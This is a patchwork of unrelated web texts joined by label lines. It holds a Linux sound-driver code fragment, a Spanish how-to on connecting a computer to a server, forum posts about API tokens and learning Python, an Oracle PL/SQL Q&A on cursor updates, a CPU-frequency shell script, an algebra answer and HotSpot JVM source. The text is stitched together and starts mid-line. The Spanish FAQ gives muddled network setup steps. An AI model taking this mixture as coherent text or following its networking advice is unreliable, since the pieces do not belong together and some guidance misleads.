snd_ctl_new1(&tumbler_mixers[i], chip))) < 0) 1418 return err; 1419 } 1420 } else { 1421 for (i = 0; i < ARRAY_SIZE(snapper_mixers); i++) { 1422 if ((err = snd_ctl_add(chip->card, snd_ctl_new1(&snapper_mixers[i], chip))) < 0) 1423 return err; 1424 } 1425 } 1426 chip->master_sw_ctl = snd_ctl_new1(&tumbler_hp_sw, chip); 1427 if ((err = snd_ctl_add(chip->card, chip->master_sw_ctl)) < 0) 1428 return err; 1429 chip->speaker_sw_ctl = snd_ctl_new1(&tumbler_speaker_sw, chip); 1430 if ((err = snd_ctl_add(chip->card, chip->speaker_sw_ctl)) < 0) 1431 return err; 1432 if (mix->line_mute.addr != 0) { 1433 chip->lineout_sw_ctl = snd_ctl_new1(&tumbler_lineout_sw, chip); 1434 if ((err = snd_ctl_add(chip->card, chip->lineout_sw_ctl)) < 0) 1435 return err; 1436 } 1437 chip->drc_sw_ctl = snd_ctl_new1(&tumbler_drc_sw, chip); 1438 if ((err = snd_ctl_add(chip->card, chip->drc_sw_ctl)) < 0) 1439 return err; 1440 1441 /* set initial DRC range to 60% */ 1442 if (chip->model == PMAC_TUMBLER) 1443 mix->drc_range = (TAS3001_DRC_MAX * 6) / 10; 1444 else 1445 mix->drc_range = (TAS3004_DRC_MAX * 6) / 10; 1446 mix->drc_enable = 1; /* will be changed later if AUTO_DRC is set */ 1447 if (chip->model == PMAC_TUMBLER) 1448 tumbler_set_drc(mix); 1449 else 1450 snapper_set_drc(mix); 1451 1452 #ifdef CONFIG_PM 1453 chip->suspend = tumbler_suspend; 1454 chip->resume = tumbler_resume; 1455 #endif 1456 1457 INIT_WORK(&device_change, device_change_handler); 1458 device_change_chip = chip; 1459 1460 #ifdef PMAC_SUPPORT_AUTOMUTE 1461 if ((mix->headphone_irq >=0 || mix->lineout_irq >= 0) 1462 && (err = snd_pmac_add_automute(chip)) < 0) 1463 return err; 1464 chip->detect_headphone = tumbler_detect_headphone; 1465 chip->update_automute = tumbler_update_automute; 1466 tumbler_update_automute(chip, 0); /* update the status only */ 1467 1468 /* activate headphone status interrupts */ 1469 if (mix->headphone_irq >= 0) { 1470 unsigned char val; 1471 if ((err = request_irq(mix->headphone_irq, headphone_intr, 0, 1472 "Sound Headphone Detection", chip)) < 0) 1473 return 0; 1474 /* activate headphone status interrupts */ 1475 val = do_gpio_read(&mix->hp_detect); 1476 do_gpio_write(&mix->hp_detect, val | 0x80); 1477 } 1478 if (mix->lineout_irq >= 0) { 1479 unsigned char val; 1480 if ((err = request_irq(mix->lineout_irq, headphone_intr, 0, 1481 "Sound Lineout Detection", chip)) < 0) 1482 return 0; 1483 /* activate headphone status interrupts */ 1484 val = do_gpio_read(&mix->line_detect); 1485 do_gpio_write(&mix->line_detect, val | 0x80); 1486 } 1487 #endif 1488 1489 return 0; 1490 } 1491   This page was automatically generated by the LXR engine.
__label__pos
0.98785
InterServer Web Hosting and VPS ¿Cómo conectar un ordenador a un servidor? InterServer Web Hosting and VPS En el mundo empresarial, conectar un ordenador a un servidor es una tarea fundamental que permite acceder a recursos y aplicaciones cruciales para el funcionamiento de la organización. Sin embargo, muchas veces puede ser un procedimiento complicado y confuso para aquellos que no están familiarizados con las configuraciones necesarias. En este artículo, explicaremos de manera clara y sencilla el proceso para conectar un ordenador a un servidor, para que pueda ser realizado sin dificultad. ¿Cómo Conectar un Ordenador a un Servidor? Conectar un ordenador a un servidor es esencial para acceder a las aplicaciones y recursos disponibles en una red. Dependiendo del tipo de servidor, hay diferentes métodos para conectarse. La forma más común y simple de conectarse a un servidor es a través de la red local. La mayoría de los servidores están conectados a un switch o un router, y los ordenadores de la red pueden conectarse a ellos mediante un cable de Ethernet. Para conectar un ordenador a un servidor en una red local, es necesario: 1. Comprobar la dirección IP del servidor: Para conectarse a un servidor, es necesario conocer su dirección IP. Se puede obtener esta información mediante un comando llamado «ipconfig» en la línea de comandos. InterServer Web Hosting and VPS 2. Configurar la dirección IP del ordenador: Es importante que el ordenador tenga una dirección IP única y configurada para que pueda conectarse al servidor. Normalmente, la dirección IP se obtiene automáticamente al conectarse a la red, pero puede configurarse manualmente en caso de que sea necesario. Ver más¿Qué hacen los servidores de Google? 3. Conectar el cable de Ethernet: Después de obtener la dirección IP y configurar la dirección IP del ordenador, es necesario conectar el cable de Ethernet al puerto correspondiente del ordenador y del servidor. 4. Acceder al servidor: Una vez que el ordenador está conectado al servidor, se puede acceder a él mediante el navegador web o mediante una aplicación específica. La forma de acceso dependerá del servicio que se esté utilizando. 1. Importancia de Conectar un Ordenador a un Servidor Conectar un ordenador a un servidor es esencial para acceder a los recursos y aplicaciones disponibles en una red. Sin una conexión al servidor, los usuarios no podrían acceder a las bases de datos, documentos, fotos o vídeos almacenados en el servidor. Además, la conexión al servidor asegura que los usuarios estén trabajando en la versión más actualizada de los documentos y aplicaciones disponibles. InterServer Web Hosting and VPS 2. Tipos de Servidores Hay diferentes tipos de servidores, como el servidor web, servidor de correo electrónico, servidor de base de datos, entre otros. Cada tipo de servidor requiere métodos de conexión específicos y diferentes formas de autenticación. 3. Conexión Remota al Servidor Además de la conexión local, es posible conectarse a un servidor de forma remota. La utilización de una conexión remota permite a los usuarios acceder al servidor desde cualquier lugar del mundo, siempre y cuando tengan una conexión a Internet. Para conectar de forma remota al servidor, se debe configurar una VPN o una conexión RDP. Ver más¿Qué le pasó a AWS?¿Qué le pasó a AWS? 4. Autenticación en el Servidor Para acceder a un servidor, es necesario un nombre de usuario y una contraseña válida. La autenticación es el proceso que verifica la identidad del usuario y asegura que está autorizado para acceder al servidor. 5. Errores Comunes al Conectar un Ordenador a un Servidor Al conectar un ordenador a un servidor, pueden ocurrir errores comunes como la incapacidad de conectarse al servidor o problemas de autenticación. Estos errores se deben a problemas de red, configuración de firewall, configuración incorrecta de la dirección IP, entre otros. Es importante verificar la configuración y los ajustes de red para resolver estos problemas y poder conectarse adecuadamente al servidor. Preguntas Frecuentes ¿Cómo conectar un ordenador a un servidor? Para conectar un ordenador a un servidor, es necesario contar con un cable de red y configurar correctamente las opciones de red en ambos dispositivos. En el ordenador, se debe seleccionar la opción de Conexión de Red y agregar una nueva conexión Ethernet. Luego, se debe seleccionar la opción de Obtener una dirección IP automáticamente y configurar la puerta de enlace predeterminada con la dirección IP del servidor. En el servidor, se debe configurar la IP y la máscara de subred para que coincidan con la configuración de red del ordenador. Una vez que ambos dispositivos estén configurados, se debe conectar el cable de red al puerto Ethernet del ordenador y al puerto del servidor. ¿Qué es un servidor DNS? Un servidor DNS es un sistema informático que traduce los nombres de dominio en direcciones IP para permitir la comunicación entre dispositivos en una red. Los servidores DNS almacenan una base de datos de nombres de dominio y las direcciones IP correspondientes. Cuando un usuario ingresa un nombre de dominio en su navegador web, el servidor DNS busca la dirección IP correspondiente en su base de datos y la devuelve al dispositivo del usuario, permitiendo que el dispositivo se conecte con el servidor deseado y acceder al sitio web solicitado. ¿Qué es un servidor proxy? Un servidor proxy es un sistema informático que actúa como intermediario entre un dispositivo y otros servidores en Internet. El servidor proxy recibe solicitudes de conexión desde el dispositivo, procesa estas solicitudes y luego las envía a los servidores correspondientes. Los servidores proxy son útiles porque pueden mejorar la seguridad y el rendimiento de la conexión a Internet. Por ejemplo, un servidor proxy puede bloquear el acceso a sitios web maliciosos o acelerar la conexión a través de la cache de datos. Ver más¿Qué compañías usan AWS? ¿Qué es un servidor web? Un servidor web es un sistema informático que almacena, procesa y entrega páginas web y otros contenidos multimedia a dispositivos conectados a Internet. Los servidores web almacenan los archivos de la página web y los entregan a los dispositivos que las solicitan a través de un navegador web. Un servidor web se compone de diferentes componentes, incluyendo un servidor HTTP, un sistema de gestión de contenido y una base de datos. Los servidores web son esenciales para el funcionamiento del Internet y para la entrega de contenido en línea como páginas web, vídeos y aplicaciones.
__label__pos
0.98549
API tokens and AD user purges Tags: #<Tag:0x00007f3b8bb23c98> So I was just made aware of an API issue for one of our users. This user generally does not log into the UI but had just to take a look at what was available so they showed up in the list for API users when I generated him a token. Since then he has not logged back in to the UI and after 30 days his account got purged and his API token no longer works. So is there a way to keep the API token active without either disabling the AD purge (a big no from our security folks) or having the user log in to the UI at least once a month? My ultimate goal would be to not have individual users have API tokens but to have a single AD service account with a token associated to it but I’d end up with the same problem of having to log into the UI monthly as that account. Would creating a local account, create the api key then delete the password work? Either that pr get a system AD account and write a quick automated login script to run once a week? Can’t create a local account when it’s set up for AD authentication otherwise I’d probably do that. The AD service account is an option but I’m hoping to be able to avoid the auto login script. Hi, does this have any solution?
__label__pos
0.72798
Python Python Basics (2015) Letter Game App Letter Game Refinement Youssef Moustahib Youssef Moustahib 7,774 Points Is this normal? I understood the shoppinglist and numbergame sections perfectly fine. When it came to the letter game my mind has been completely destroyed. Is this normal? I'm going to keep going over Kenneth's code but I feel like if I don't fully understand everything in the letter game, then theres no point moving onto the next section. Is that right? 3 Answers Biggest piece of wisdom I got when starting out as a dev is that becoming "comfortable being uncomfortable" is an important skill. There's rarely a day of work I don't go home with a melted brain. What Matt said about checking into it on the side until you feel comfortable is a great piece of advice. Not everything is always going to make sense, just keep at it and don't let it discourage. Sometimes taking a break and moving onto something else is exactly what your mind needs to reset and grasp the previous thing. Matt Hanson MOD Matt Hanson Treehouse Moderator 17,475 Points I wouldn't say that you shouldn't proceed. Just keep going over the letter game on the side until you feel you can fully grasp it. He moves kind of quickly through that one. I had some trouble as well. Just keep after it, and it'll make sense eventually. And don't forget that everyone learns differently. If you don't learn well like this could always try a different way. I find Bite of Python a very useful tool. Hope you do well, Nakal
__label__pos
0.871113
Cursors pl sql updating Free adult chat without any sign up Rated 3.97/5 based on 539 customer reviews Even the idea create a temporary table holding only primary key and Column b, and then apply cursor to it is slow. "c)if i have a composite key then"---where a.key1=b.key1 and a.key2=b.key2 and----)am i right for both insert/update by given ur advice? Another table summary of orders tt1 which is having current year summation and respective previous year summation columns. Type ------------------------------- -------- ------------ ORDER_NUMBER NUMBER(10) ORDER_DATE DATE CY_ORD_AMT NUMBER PY_ORD_AMT NUMBER Order date is current year date.I am think of the way without using cursor, script as below. I am getting current year data first into above table after I am trying to update previous year amount.I have another table B containg 10000 records of incremented and edited records of A table. I am using the following codes to append data from B to A.--For incremental/New data-----insert into Aselect * from B where column_name NOT IN(select column_name from B);--For Edited Data-------cursore C_ABselect * from Aminusselect * from AFor R in C_ABloop Update A set....where ..loop End; It's working but taking a huge time/sometimes hang the computer. to update 10,000 rows in a 100,000 row table should take seconds (it'll be a direct function of the number of indexes). The number of rows in both the tables is same after porting.Would u please help me how can i faster my procedure. But there is a posibility of one row inserted twice and another row may not be inserted at all.All fields in the temporary tables are varchar2) The actual Temp as well as Target table has 300 plus columns.2.) All rows failed during INSERT/u Pdate log them to a Fault table3.) Find out number of rows inserted verses update. The primary key columns of a should be mandatorily present in b, to ensure that only one row is updated. vnum_actual Value = 1000; After the distribution of the value 1000, the updated table should look like this: SNO ITEMCODE VALUE APPLIEDVALUE-------- -------- ---------- ------------ 1 item1 200 200 2 item2 100 100 3 item3 300 300 4 item4 200 200 5 item5 50 50 6 item6 200 150 7 item7 400 0 ( TOTAL:1000 ) Now, I can very well do this with a cursor. select * from t; SNO ITEMCODE VALUE APPLIEDVALUE ---------- -------- ---------- ------------ 1 item1 200 2 item2 100 3 item3 300 4 item4 200 5 item5 50 6 item6 200 7 item7 400 7 rows selected.I am using the PL/SQL to handle this, the Inserts are fine but the Updates are very slow. The test PL/SQL is as follows -declare todate date; current_mode char(10) :='load'; exec_code varchar2(200); exec_message varchar2(2000); this_total number :=0; this_succ number:=0; this_update number:=0; this_fail number:=0; this_insert number:=0; this_start char(10) ; this_end char(10); this_table_name varchar2(10) :='test'; cursor c is select * from test_temp ; commit_point number :=0; test_case number := null; fault_id varchar2(30);beginselect to_char(sysdate, 'hh24:mm:ss') into this_start from dual;delete from test_load_result where table_name =upper(trim(this_table_name));commit;for xc1 in c loopthis_total:=this_total 1; commit_point:=commit_point 1; if commit_point 10000 then commit; commit_point:=0; end if; declare begin test_case := xc1.test_jdate; insert /* append */ into test( test_id, test_code ,test_case ,test_month ,test_jdate , sequence_no , check_status ) values ( trim(xc1.test_id), trim(xc1.test_code), to_date( to_char(to_date('','mm-dd-yyyy') ,'j') abs(test_case),'j'), upper(to_char((to_date( to_char(to_date('','mm-dd-yyyy') ,'j') abs(test_case),'j')),'mon')), trim(xc1.test_jdate), trim(xc1.sequence_no), trim(xc1.check_status) ); this_succ:=this_succ 1; exception when others then if sqlcode = -1 then declare begin update test set check_status = trim(xc1.check_status) where test_id = trim(xc1.test_id) and test_code=trim(xc1.test_code) and test_jdate = trim(xc1.test_jdate) and sequence_no =trim(xc1.sequence_no) ; this_update := this_update 1; exception when others then exec_code := sqlcode; exec_message := sqlerrm; select sysdate into todate from dual; if (this_update 0) then this_update := this_update - 1; end if; this_fail:=this_fail 1; fault_id:= trim(xc1.rms_index); insert into test_fault select (select sysdate from dual), st.* from test_temp st where trim(rms_index)=trim(fault_id); insert into test_exception( exec_date, exec_mode, table_name,rms_index, exec_code, exec_message) values (todate,current_mode,this_table_name,fault_id,exec_code,exec_message); end; else exec_code := sqlcode; exec_message := sqlerrm; select sysdate into todate from dual; this_fail:=this_fail 1; fault_id:= trim(xc1.rms_index); insert into test_fault select (select sysdate from dual), st.* from test_temp st where trim(rms_index)=trim(fault_id); insert into test_exception( exec_date, exec_mode, table_name,rms_index, exec_code, exec_message) values (todate,current_mode,this_table_name,fault_id,exec_code,exec_message); end if;end;end loop; this_succ := this_succ this_update; select decode(sign(this_succ -(this_update this_fail)),1,this_succ -(this_update this_fail),0) into this_insert from dual; select to_char(sysdate, 'hh24:mi:ss') into this_end from dual; test_results(todate,this_start, this_end, this_table_name, this_total, this_succ,this_insert, this_update, this_fail);commit;end;/ November 08, 2002 - pm UTC you do realize that /* append */ hint is just a waste of keystrokes right? Is there any way to do this with a single update statement? [email protected] merge into t 2 using ( 3 select sno, itemcode, value, 4 greatest( least( value, :x -(sum(value) over (order by sno)-value)),0) new_appliedvalue 5 from t 6 ) X 7 on (= ) 8 when matched then update set appliedvalue = new_appliedvalue 9 when not matched then insert (sno) values (null) -- NEVER can happen 10 / 7 rows merged. cursors pl sql updating-30 cursors pl sql updating-43 cursors pl sql updating-73 cursors pl sql updating-58 Additionally -- given the way the where and set clauses are CODED in the above -- it would succeed. For this I am using another table to find previous year dates for current year dates.The query would in fact execute without any error messages since the correlated subquery in SET clause returns EXACTLY one row for each row in B and the where clause executes without error. Lets say you have a table A ( id int, a1 varchar2(25) ) and a table B ( id int PRIMARY KEY, b1 varchar2(25) ). But I am not able to identify the correct record to update. Thanks January 02, 2004 - am UTC and i, not knowing how your data all fits together, cannot say would need an example (complete, yet concise, with sample data and an explanation of how the data all fits together) hi tom , desc child_table-------------------child_id number ;child_birth_date date;child_20_flag number(1) ; where the child_20_flag should indicate if the child reach 20 years old or , what is the best way to handle it automaticlly ?I put a primary key on B(id) because if there is NO SUCH constraint -- the update is totally ambigous -- if there is more then 1 value of B1 in B for a given ID -- we cannot tell what row in B should be used to update the row in A. dear sir , Acually my problem is huge that that simple , i just try to give u a sample of my problem.i just need to know the best way to update some column value that depends on other columns value in same table (or /and ) in other tables .specially when one of them is a date.i do made a script that run every day at 5 am. March 21, 2004 - pm UTC they are derived columns and should not be stored -- especially something like "20 years old flag" as that can change at any is, and will remain, my answer unless you give me a real world scenario that would demand otherwise (the 20 year old flag should NOT be stored, period) Hi I have three tables, A, B and CA is parent of B and C, A has a composite PK deptno and dname I would like to know if following delete SQLs are equivalent1.------------------------------------------delete bwhere(deptno, dept_name) in (select a.deptno, dname from a, c where a.deptno = c.deptno and a.dname = c.dept_name);2.-----------------------------------------delete bwheredeptno = (select a.deptno from a, c where a.deptno = c.deptno and dname = dpt_name)and dept_name = (select a.dname from a, c where a.deptno = c.deptno and a.dname = c.dpt_name); Are they :-?It isn't doing anything beyond confusing the reader of your code...do you believe the update is slow -- what led you to that particular conclusion. [email protected] select * from t; SNO ITEMCODE VALUE APPLIEDVALUE ---------- -------- ---------- ------------ 1 item1 200 200 2 item2 100 100 3 item3 300 300 4 item4 200 200 5 item5 50 50 6 item6 200 150 7 item7 400 0 7 rows selected.Hi Tom, I have a huge table similar to the following:eno ename dno sal mgr---------------------------------101 A 1 100102 B 1 200103 C 1 300104 D 2 100105 E 2 200---------------------------------Here I want to update the 'mgr' column with 'eno' value having largest 'sal' for each dno. what I want to do is update one column based on the values of 4 other columns like such:t1:recordno, begindatet2: recordno, date1, date2, date3, date4, I've tried to do the following update t1 set t1.begindate = (select greatest(greatest(st.date1, st.date2), greatest(st.date3, st.date4)) as greatest from t2 where t2.recordno = t1.recordno);it just freezes up on me...ideas? Leave a Reply
__label__pos
0.828929
#!/bin/sh # set/overrides the max cpu frequency used by the current scaler # original code from https://www.pantz.org/software/cpufreq/usingcpufreqonlinux.html if [ "$#" -eq 0 ] || [ "$1" = "-h" ] || [ "$1" = "--help" ]; then echo "usage: $(basename $0) MAX_CPU_FREQ" echo exit 0 fi CHOSEN_FREQUENCY=$1 if [ "$(hostname)" = "BOSS2" ];then [ $1 -eq 100 ] && CHOSEN_FREQUENCY=3500000 [ $1 -eq 80 ] && CHOSEN_FREQUENCY=2900000 fi ALLOWED_FREQUENCIES=$(sudo cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_available_frequencies) echo "$ALLOWED_FREQUENCIES " | grep -q "$CHOSEN_FREQUENCY " if [ $? -ne 0 ]; then echo "$(basename $0) err: invalid max frequency specified: $CHOSEN_FREQUENCY. Allowed values are: $ALLOWED_FREQUENCIES" >&2 exit 1 fi echo "$(basename $0) info: overriding max CPU frequency for current governor: $CHOSEN_FREQUENCY" >&2 for f in /sys/devices/system/cpu/*/cpufreq/scaling_max_freq; do sudo sh -c "echo $CHOSEN_FREQUENCY > $f" done
__label__pos
0.977645
Algebra 2 (1st Edition) Published by McDougal Littell ISBN 10: 0618595414 ISBN 13: 978-0-61859-541-9 Chapter 5 Polynomials and Polynomial Functions - 5.7 Apply the Fundamental Theorem of Algebra - 5.7 Exercises - Skill Practice - Page 384: 21 Answer $$x^3-2x^2-5x+6$$ Work Step by Step We start with a polynomial with the given factors. We then multiply it out to find: $$\left(x+2\right)\left(x-1\right)\left(x-3\right) \\ \left(x^2+x-2\right)\left(x-3\right) \\ x^3-2x^2-5x+6$$ Update this answer! You can help us out by revising, improving and updating this answer. Update this answer After you claim an answer you’ll have 24 hours to send in a draft. An editor will review the submission and either publish your submission or provide feedback.
__label__pos
0.586054
1 /* 2 * Copyright (c) 1997, 2022, Oracle and/or its affiliates. All rights reserved. 3 * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. 4 * 5 * This code is free software; you can redistribute it and/or modify it 6 * under the terms of the GNU General Public License version 2 only, as 7 * published by the Free Software Foundation. 8 * 9 * This code is distributed in the hope that it will be useful, but WITHOUT 10 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or 11 * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License 12 * version 2 for more details (a copy is included in the LICENSE file that 13 * accompanied this code). 14 * 15 * You should have received a copy of the GNU General Public License version 16 * 2 along with this work; if not, write to the Free Software Foundation, 17 * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. 18 * 19 * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA 20 * or visit www.oracle.com if you need additional information or have any 21 * questions. 22 * 23 */ 24 25 #ifndef SHARE_OOPS_OOP_INLINE_HPP 26 #define SHARE_OOPS_OOP_INLINE_HPP 27 28 #include "oops/oop.hpp" 29 30 #include "memory/universe.hpp" 31 #include "oops/access.inline.hpp" 32 #include "oops/arrayKlass.hpp" 33 #include "oops/arrayOop.hpp" 34 #include "oops/compressedOops.inline.hpp" 35 #include "oops/markWord.hpp" 36 #include "oops/oopsHierarchy.hpp" 37 #include "runtime/atomic.hpp" 38 #include "runtime/globals.hpp" 39 #include "utilities/align.hpp" 40 #include "utilities/debug.hpp" 41 #include "utilities/macros.hpp" 42 #include "utilities/globalDefinitions.hpp" 43 44 // Implementation of all inlined member functions defined in oop.hpp 45 // We need a separate file to avoid circular references 46 47 markWord oopDesc::mark() const { 48 return Atomic::load(&_mark); 49 } 50 51 markWord oopDesc::mark_acquire() const { 52 return Atomic::load_acquire(&_mark); 53 } 54 55 markWord* oopDesc::mark_addr() const { 56 return (markWord*) &_mark; 57 } 58 59 void oopDesc::set_mark(markWord m) { 60 Atomic::store(&_mark, m); 61 } 62 63 void oopDesc::set_mark(HeapWord* mem, markWord m) { 64 *(markWord*)(((char*)mem) + mark_offset_in_bytes()) = m; 65 } 66 67 void oopDesc::release_set_mark(markWord m) { 68 Atomic::release_store(&_mark, m); 69 } 70 71 markWord oopDesc::cas_set_mark(markWord new_mark, markWord old_mark) { 72 return Atomic::cmpxchg(&_mark, old_mark, new_mark); 73 } 74 75 markWord oopDesc::cas_set_mark(markWord new_mark, markWord old_mark, atomic_memory_order order) { 76 return Atomic::cmpxchg(&_mark, old_mark, new_mark, order); 77 } 78 79 void oopDesc::init_mark() { 80 set_mark(markWord::prototype()); 81 } 82 83 Klass* oopDesc::klass() const { 84 if (UseCompressedClassPointers) { 85 return CompressedKlassPointers::decode_not_null(_metadata._compressed_klass); 86 } else { 87 return _metadata._klass; 88 } 89 } 90 91 Klass* oopDesc::klass_or_null() const { 92 if (UseCompressedClassPointers) { 93 return CompressedKlassPointers::decode(_metadata._compressed_klass); 94 } else { 95 return _metadata._klass; 96 } 97 } 98 99 Klass* oopDesc::klass_or_null_acquire() const { 100 if (UseCompressedClassPointers) { 101 narrowKlass nklass = Atomic::load_acquire(&_metadata._compressed_klass); 102 return CompressedKlassPointers::decode(nklass); 103 } else { 104 return Atomic::load_acquire(&_metadata._klass); 105 } 106 } 107 108 void oopDesc::set_klass(Klass* k) { 109 assert(Universe::is_bootstrapping() || (k != NULL && k->is_klass()), "incorrect Klass"); 110 if (UseCompressedClassPointers) { 111 _metadata._compressed_klass = CompressedKlassPointers::encode_not_null(k); 112 } else { 113 _metadata._klass = k; 114 } 115 } 116 117 void oopDesc::release_set_klass(HeapWord* mem, Klass* k) { 118 assert(Universe::is_bootstrapping() || (k != NULL && k->is_klass()), "incorrect Klass"); 119 char* raw_mem = ((char*)mem + klass_offset_in_bytes()); 120 if (UseCompressedClassPointers) { 121 Atomic::release_store((narrowKlass*)raw_mem, 122 CompressedKlassPointers::encode_not_null(k)); 123 } else { 124 Atomic::release_store((Klass**)raw_mem, k); 125 } 126 } 127 128 void oopDesc::set_klass_gap(HeapWord* mem, int v) { 129 if (UseCompressedClassPointers) { 130 *(int*)(((char*)mem) + klass_gap_offset_in_bytes()) = v; 131 } 132 } 133 134 bool oopDesc::is_a(Klass* k) const { 135 return klass()->is_subtype_of(k); 136 } 137 138 size_t oopDesc::size() { 139 return size_given_klass(klass()); 140 } 141 142 size_t oopDesc::size_given_klass(Klass* klass) { 143 int lh = klass->layout_helper(); 144 size_t s; 145 146 // lh is now a value computed at class initialization that may hint 147 // at the size. For instances, this is positive and equal to the 148 // size. For arrays, this is negative and provides log2 of the 149 // array element size. For other oops, it is zero and thus requires 150 // a virtual call. 151 // 152 // We go to all this trouble because the size computation is at the 153 // heart of phase 2 of mark-compaction, and called for every object, 154 // alive or dead. So the speed here is equal in importance to the 155 // speed of allocation. 156 157 if (lh > Klass::_lh_neutral_value) { 158 if (!Klass::layout_helper_needs_slow_path(lh)) { 159 s = lh >> LogHeapWordSize; // deliver size scaled by wordSize 160 } else { 161 s = klass->oop_size(this); 162 } 163 } else if (lh <= Klass::_lh_neutral_value) { 164 // The most common case is instances; fall through if so. 165 if (lh < Klass::_lh_neutral_value) { 166 // Second most common case is arrays. We have to fetch the 167 // length of the array, shift (multiply) it appropriately, 168 // up to wordSize, add the header, and align to object size. 169 size_t size_in_bytes; 170 size_t array_length = (size_t) ((arrayOop)this)->length(); 171 size_in_bytes = array_length << Klass::layout_helper_log2_element_size(lh); 172 size_in_bytes += Klass::layout_helper_header_size(lh); 173 174 // This code could be simplified, but by keeping array_header_in_bytes 175 // in units of bytes and doing it this way we can round up just once, 176 // skipping the intermediate round to HeapWordSize. 177 s = align_up(size_in_bytes, MinObjAlignmentInBytes) / HeapWordSize; 178 179 // UseParallelGC and UseG1GC can change the length field 180 // of an "old copy" of an object array in the young gen so it indicates 181 // the grey portion of an already copied array. This will cause the first 182 // disjunct below to fail if the two comparands are computed across such 183 // a concurrent change. 184 assert((s == klass->oop_size(this)) || 185 (Universe::is_gc_active() && is_objArray() && is_forwarded() && (get_UseParallelGC() || get_UseG1GC())), 186 "wrong array object size"); 187 } else { 188 // Must be zero, so bite the bullet and take the virtual call. 189 s = klass->oop_size(this); 190 } 191 } 192 193 assert(s > 0, "Oop size must be greater than zero, not " SIZE_FORMAT, s); 194 assert(is_object_aligned(s), "Oop size is not properly aligned: " SIZE_FORMAT, s); 195 return s; 196 } 197 198 bool oopDesc::is_instance() const { return klass()->is_instance_klass(); } 199 bool oopDesc::is_instanceRef() const { return klass()->is_reference_instance_klass(); } 200 bool oopDesc::is_array() const { return klass()->is_array_klass(); } 201 bool oopDesc::is_objArray() const { return klass()->is_objArray_klass(); } 202 bool oopDesc::is_typeArray() const { return klass()->is_typeArray_klass(); } 203 204 template<typename T> 205 T* oopDesc::field_addr(int offset) const { return reinterpret_cast<T*>(cast_from_oop<intptr_t>(as_oop()) + offset); } 206 207 template <typename T> 208 size_t oopDesc::field_offset(T* p) const { return pointer_delta((void*)p, (void*)this, 1); } 209 210 template <DecoratorSet decorators> 211 inline oop oopDesc::obj_field_access(int offset) const { return HeapAccess<decorators>::oop_load_at(as_oop(), offset); } 212 inline oop oopDesc::obj_field(int offset) const { return HeapAccess<>::oop_load_at(as_oop(), offset); } 213 214 inline void oopDesc::obj_field_put(int offset, oop value) { HeapAccess<>::oop_store_at(as_oop(), offset, value); } 215 216 inline jbyte oopDesc::byte_field(int offset) const { return *field_addr<jbyte>(offset); } 217 inline void oopDesc::byte_field_put(int offset, jbyte value) { *field_addr<jbyte>(offset) = value; } 218 219 inline jchar oopDesc::char_field(int offset) const { return *field_addr<jchar>(offset); } 220 inline void oopDesc::char_field_put(int offset, jchar value) { *field_addr<jchar>(offset) = value; } 221 222 inline jboolean oopDesc::bool_field(int offset) const { return *field_addr<jboolean>(offset); } 223 inline void oopDesc::bool_field_put(int offset, jboolean value) { *field_addr<jboolean>(offset) = jboolean(value & 1); } 224 inline jboolean oopDesc::bool_field_volatile(int offset) const { return RawAccess<MO_SEQ_CST>::load(field_addr<jboolean>(offset)); } 225 inline void oopDesc::bool_field_put_volatile(int offset, jboolean value) { RawAccess<MO_SEQ_CST>::store(field_addr<jboolean>(offset), jboolean(value & 1)); } 226 inline jshort oopDesc::short_field(int offset) const { return *field_addr<jshort>(offset); } 227 inline void oopDesc::short_field_put(int offset, jshort value) { *field_addr<jshort>(offset) = value; } 228 229 inline jint oopDesc::int_field(int offset) const { return *field_addr<jint>(offset); } 230 inline void oopDesc::int_field_put(int offset, jint value) { *field_addr<jint>(offset) = value; } 231 232 inline jlong oopDesc::long_field(int offset) const { return *field_addr<jlong>(offset); } 233 inline void oopDesc::long_field_put(int offset, jlong value) { *field_addr<jlong>(offset) = value; } 234 235 inline jfloat oopDesc::float_field(int offset) const { return *field_addr<jfloat>(offset); } 236 inline void oopDesc::float_field_put(int offset, jfloat value) { *field_addr<jfloat>(offset) = value; } 237 238 inline jdouble oopDesc::double_field(int offset) const { return *field_addr<jdouble>(offset); } 239 inline void oopDesc::double_field_put(int offset, jdouble value) { *field_addr<jdouble>(offset) = value; } 240 241 bool oopDesc::is_locked() const { 242 return mark().is_locked(); 243 } 244 245 bool oopDesc::is_unlocked() const { 246 return mark().is_unlocked(); 247 } 248 249 // Used only for markSweep, scavenging 250 bool oopDesc::is_gc_marked() const { 251 return mark().is_marked(); 252 } 253 254 // Used by scavengers 255 bool oopDesc::is_forwarded() const { 256 // The extra heap check is needed since the obj might be locked, in which case the 257 // mark would point to a stack location and have the sentinel bit cleared 258 return mark().is_marked(); 259 } 260 261 // Used by scavengers 262 void oopDesc::forward_to(oop p) { 263 verify_forwardee(p); 264 markWord m = markWord::encode_pointer_as_mark(p); 265 assert(m.decode_pointer() == p, "encoding must be reversible"); 266 set_mark(m); 267 } 268 269 oop oopDesc::forward_to_atomic(oop p, markWord compare, atomic_memory_order order) { 270 verify_forwardee(p); 271 markWord m = markWord::encode_pointer_as_mark(p); 272 assert(m.decode_pointer() == p, "encoding must be reversible"); 273 markWord old_mark = cas_set_mark(m, compare, order); 274 if (old_mark == compare) { 275 return NULL; 276 } else { 277 return cast_to_oop(old_mark.decode_pointer()); 278 } 279 } 280 281 // Note that the forwardee is not the same thing as the displaced_mark. 282 // The forwardee is used when copying during scavenge and mark-sweep. 283 // It does need to clear the low two locking- and GC-related bits. 284 oop oopDesc::forwardee() const { 285 assert(is_forwarded(), "only decode when actually forwarded"); 286 return cast_to_oop(mark().decode_pointer()); 287 } 288 289 // The following method needs to be MT safe. 290 uint oopDesc::age() const { 291 assert(!mark().is_marked(), "Attempt to read age from forwarded mark"); 292 if (has_displaced_mark()) { 293 return displaced_mark().age(); 294 } else { 295 return mark().age(); 296 } 297 } 298 299 void oopDesc::incr_age() { 300 assert(!mark().is_marked(), "Attempt to increment age of forwarded mark"); 301 if (has_displaced_mark()) { 302 set_displaced_mark(displaced_mark().incr_age()); 303 } else { 304 set_mark(mark().incr_age()); 305 } 306 } 307 308 template <typename OopClosureType> 309 void oopDesc::oop_iterate(OopClosureType* cl) { 310 OopIteratorClosureDispatch::oop_oop_iterate(cl, this, klass()); 311 } 312 313 